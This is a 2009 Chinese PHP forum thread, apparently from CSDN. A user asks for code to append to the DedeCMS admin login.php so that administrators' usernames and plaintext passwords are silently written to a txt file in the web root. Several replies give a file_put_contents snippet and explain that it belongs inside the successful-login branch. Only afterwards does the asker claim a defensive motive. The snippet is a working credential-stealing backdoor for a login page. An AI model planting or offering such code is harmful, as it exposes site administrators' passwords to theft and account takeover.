请教PHP如何实现将login.php中用户登录数据写入到TXT

HellPhantom 2009-08-21 11:38:58
我见过ASP版的,可以附加在login.asp的尾部 实现记录用户的登陆帐号和密码,但是PHP的我找了好久也没找到, 我这是DEDE 织梦的程序,需要记录我这几个内容管理员的信息,如何写代码呢?请写出一个完整可用的代码吧!谢谢!


是需要一段可以附加在 login.php 中的代码,可以在内容管理员登陆的同时记录他的 用户名+密码 的信息,并在根目录建立一个txt的文件,将 用户名+密码 信息写入到里面。



织梦的login.php代码如下:

<?php
require_once(dirname(__FILE__).'/../include/common.inc.php');
require_once(DEDEINC.'/userlogin.class.php');
if(empty($dopost))
{
$dopost = '';
}

//检测安装目录安全性
if( is_dir(dirname(__FILE__).'/../install') )
{
if(!file_exists(dirname(__FILE__).'/../install/install_lock.txt') )
{
$fp = fopen(dirname(__FILE__).'/../install/install_lock.txt', 'w') or die('安装目录无写入权限,无法进行写入锁定文件,请安装完毕删除安装目录!');
fwrite($fp,'ok');
fclose($fp);
}
//为了防止未知安全性问题,强制禁用安装程序的文件
if( file_exists("../install/index.php") ) {
@rename("../install/index.php", "../install/index.php.bak");
}
if( file_exists("../install/module-install.php") ) {
@rename("../install/module-install.php", "../install/module-install.php.bak");
}
}
//检测后台目录是否更名
$cururl = GetCurUrl();
if(eregi('/dede/login',$cururl))
{
$redmsg = '<br />    <font color=\'red\'><b>您的管理目录使用默认名称dede,建议在FTP里把它修改为其它名称,那样会更安全!</b></font>';
}
else
{
$redmsg = '';
}

//登录检测
$admindirs = explode('/',str_replace("\\",'/',dirname(__FILE__)));
$admindir = $admindirs[count($admindirs)-1];
if($dopost=='login')
{
$validate = empty($validate) ? '' : strtolower(trim($validate));
$svali = strtolower(GetCkVdValue());
if($validate=='' || $validate != $svali)
{
ResetVdValue();
ShowMsg('验证码不正确!','');
}
else
{
$cuserLogin = new userLogin($admindir);
if(!empty($userid) && !empty($pwd))
{
$res = $cuserLogin->checkUser($userid,$pwd);

//success
if($res==1)
{
$cuserLogin->keepUser();
if(!empty($gotopage))
{
ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);
exit();
}
else
{
ShowMsg('成功登录,正在转向管理管理主页!',"index.php");
exit();
}
}

//error
else if($res==-1)
{
ShowMsg('你的用户名不存在!','');
}
else
{
ShowMsg('你的密码错误!','');
}
}

//password empty
else
{
ShowMsg('用户和密码没填写完整!','');
}
}
}
include('templets/login.htm');

?>

...全文
659 10 打赏 收藏 转发到动态 举报
写回复
用AI写文章
10 条回复
切换为时间正序
请发表友善的回复…
发表回复
fenyao 2009-08-21
  • 打赏
  • 举报
回复
楼主为什么要记录管理员信息呢 ^_^
阿_布 2009-08-21
  • 打赏
  • 举报
回复
在你的这个程序中是$userid,$pwd,把$userpwd改成$pwd就OK了。
阿_布 2009-08-21
  • 打赏
  • 举报
回复
写在if($res==1)里面呀!验证通过后才写入文件,说明是合法用户。
CunningBoy 2009-08-21
  • 打赏
  • 举报
回复
晕倒,颜色在代码内部无效,重贴:
//success
if($res==1)
{
$cuserLogin->keepUser();
$str= $userid.", ".$userpwd."\n";
file_put_contents("/login.txt", $str, FILE_APPEND);
if(!empty($gotopage))
{
ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);
exit();
}
else
{
ShowMsg('成功登录,正在转向管理管理主页!',"index.php");
exit();
}
}
CunningBoy 2009-08-21
  • 打赏
  • 举报
回复
  //success 
if($res==1)
{
$cuserLogin->keepUser();
$str= $userid.", ".$userpwd."\n";
file_put_contents("/login.txt", $str, FILE_APPEND);
if(!empty($gotopage))
{
ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);
exit();
}
else
{
ShowMsg('成功登录,正在转向管理管理主页!',"index.php");
exit();
}
}
HellPhantom 2009-08-21
  • 打赏
  • 举报
回复
[Quote=引用 1 楼 cunningboy 的回复:]


您好,我实在是恨笨拙,请问加在哪个部位上呢?
tfxg 2009-08-21
  • 打赏
  • 举报
回复
[Quote=引用 1 楼 cunningboy 的回复:]
PHP code$str=$userid.",".$userpwd."\n";file_put_contents("/login.txt",$str, FILE_APPEND);
[/Quote]

CunningBoy 2009-08-21
  • 打赏
  • 举报
回复
$str= $userid.", ".$userpwd."\n";
file_put_contents("/login.txt", $str, FILE_APPEND);
HellPhantom 2009-08-21
  • 打赏
  • 举报
回复
[Quote=引用 8 楼 fenyao 的回复:]
楼主为什么要记录管理员信息呢  ^_^
[/Quote]

我朋友要写个封杀这些代码的程序,所以就派我来找了。
我们的网站上密码经常被人篡改,怀疑是黑客所为,但是我们的密码强度却很高才对,我去他们所谓能破解的MD5 HASH的站点去破解,都破解不开,我们就很怀疑 是这种方式了,因为我以前见过ASP的就是这样截取的密码,很令人厌恶。
HellPhantom 2009-08-21
  • 打赏
  • 举报
回复
请问各位大神,这两句代码 在什么情况下 服务器的什么条件下,才能写入数据到login.txt呢?

成功登陆后么? 服务器允许某些组件的情况下么?

21,891

社区成员

发帖
与我相关
我的任务
社区描述
从PHP安装配置,PHP入门,PHP基础到PHP应用
社区管理员
  • 基础编程社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧